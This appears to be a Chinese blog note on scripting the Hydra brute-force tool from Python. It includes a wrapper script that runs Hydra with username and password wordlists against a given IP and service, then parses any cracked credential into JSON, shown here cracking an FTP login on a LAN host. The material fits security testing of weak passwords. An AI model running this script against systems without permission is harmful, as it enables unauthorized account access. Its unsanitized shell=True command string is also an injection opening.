hydra 折腾笔记

命令

output =subprocess.Popen("hydra -l ftp -P wooyun.txt 192.168.1.20 ftp", shell=True,stdout=subprocess.PIPE).communicate()[0]

In [62]: 'successfully' in output

Out[62]: True

相关文档

http://www.cnblogs.com/mchina/archive/2013/01/01/2840815.html

备选方案

全能暴力破解测试工具——Patator v0.5
https://github.com/lanjelot/patator

python 捕获 shell 脚本的输出结果

import subprocess
output =Popen(["mycmd","myarg"], stdout=PIPE).communicate()[0]


import subprocess
p = subprocess.Popen(['ls','-a'], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
out, err = p.communicate()
print out



# work on Unix/Linux only

import commands
print commands.getstatusoutput('wc -l file')[1]

[Demo] Py-hydra

# -*- coding: utf-8 -*-

'''
通过Python操作Hydra进行相关服务弱口令扫描
相关结果以json的形式返回
'''

__author__ = "SanNa"

import subprocess
import sys
import json
import signal

# 设置超时时间
TIME_OUT = 20

def start_hydra(ip, service, username, password):
    '''调用hydra进行破解

    :param ip: 目标ip
    :param service: 服务类型
    :param username: 用户字典
    :param password: 密码字典

    :return str
    '''
    kwargs = {
            'ip': ip,
            'service': service,
            'username': username,
            'password': password,
            }
    command_str = "hydra -L {username} -P {password} {ip} {service}"
    result = subprocess.Popen(command_str.format(**kwargs),
                    shell=True, stdout=subprocess.PIPE).communicate()[0]
    return result


def return_json(result):
    '''从扫描结果中提出相关信息

    :param result: 扫描结果

    :return json
    '''
    ok_flag = 'target successfully completed'
    fail_flag = '0 valid passwords found'
    data = {
            'login': None,
            'password': None,
            }

    if ok_flag in result:
        data['status']  =  'success'
        item = result.split('\n')[5]
        data['login'] = item.split(' ')[6]
        data['password'] = item.split(' ')[10]
    elif fail_flag in result:
        data['status'] = 'fail'
    else:
        data['status'] = 'unknown error.'
    return json.dumps([data])


def handler(signum, frame):
    raise AssertionError


if __name__ == '__main__':
    ip = sys.argv[1]
    service = sys.argv[2]
    username = 'username.txt'
    password = 'password.txt'
    # try:
    #     username = sys.argv[3]
    # except:
    #     username = 'ftp'
    # try:
    #     password = sys.argv[4]
    # except:
    #     password = 'ftp'
    print '[*] Place wait...'
    try:
        # 超时设置
        signal.signal(signal.SIGALRM, handler)
        signal.alarm(TIME_OUT)

        result = start_hydra(ip, service, username, password)
        print result
        data = return_json(result)
    except AssertionError:
        print "TIMEOUT!"

执行结果

➜  hydar  python test.py 192.168.1.55 ftp
[*] Place wait...
Hydra v8.1 (c) 2014 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (http://www.thc.org/thc-hydra) starting at 2016-06-02 12:41:32
[DATA] max 16 tasks per 1 server, overall 64 tasks, 22425 login tries (l:69/p:325), ~21 tries per task
[DATA] attacking service ftp on port 21
[21][ftp] host: 192.168.1.55   login: ftp   password: ftp
1 of 1 target successfully completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2016-06-02 12:41:37

[{"status": "success", "login": "ftp", "password": "ftp"}]

备选方案

全能暴力破解测试工具——Patator v0.5
https://github.com/lanjelot/patator

赏

谢谢你请我吃糖果

微信